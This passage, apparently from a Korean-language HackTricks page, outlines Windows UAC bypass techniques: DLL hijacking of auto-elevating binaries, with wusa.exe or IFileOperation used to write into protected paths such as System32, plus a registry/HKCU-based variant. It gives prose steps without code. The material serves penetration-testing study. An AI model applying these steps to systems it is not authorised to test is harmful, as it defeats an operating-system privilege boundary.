  1. autoelevateํ•˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ฐพ์œผ์„ธ์š” (์‹คํ–‰ ์‹œ ๋†’์€ ๋ฌด๊ฒฐ์„ฑ ๋ ˆ๋ฒจ์—์„œ ๋™์ž‘ํ•˜๋Š”์ง€ ํ™•์ธ).
  2. procmon์„ ์‚ฌ์šฉํ•ด โ€œNAME NOT FOUNDโ€ ์ด๋ฒคํŠธ๋ฅผ ์ฐพ์•„ DLL Hijacking์— ์ทจ์•ฝํ•œ ์œ„์น˜๋ฅผ ํ™•์ธํ•˜์„ธ์š”.
  3. ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์—†๋Š” ์ผ๋ถ€ protected paths(์˜ˆ: C:\Windows\System32)์— DLL์„ writeํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
    1. wusa.exe: Windows 7, 8 ๋ฐ 8.1. ์ด ๋„๊ตฌ๋Š” ๋†’์€ ๋ฌด๊ฒฐ์„ฑ ๋ ˆ๋ฒจ์—์„œ ์‹คํ–‰๋˜๋ฏ€๋กœ CAB ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ๋ณดํ˜ธ๋œ ๊ฒฝ๋กœ์— ์ถ”์ถœํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.
    2. IFileOperation: Windows 10.
  4. ๋ณดํ˜ธ๋œ ๊ฒฝ๋กœ์— DLL์„ ๋ณต์‚ฌํ•˜๊ณ  ์ทจ์•ฝํ•˜๊ณ  autoelevated๋œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋„๋ก ํ•˜๋Š” script๋ฅผ ์ค€๋น„ํ•˜์„ธ์š”.

Another UAC bypass technique

autoElevated binary๊ฐ€ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์—์„œ ์‹คํ–‰ํ•  ๋ฐ”์ด๋„ˆ๋ฆฌ๋‚˜ ๋ช…๋ น์˜ name/path๋ฅผ readํ•˜๋ ค๊ณ  ํ•˜๋Š”์ง€ ๊ด€์ฐฐํ•˜๋Š” ๊ธฐ๋ฒ•์ž…๋‹ˆ๋‹ค (ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ด ์ •๋ณด๋ฅผ HKCU์—์„œ ์ฐพ๋Š”๋‹ค๋ฉด ๋” ํฅ๋ฏธ๋กญ์Šต๋‹ˆ๋‹ค).

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ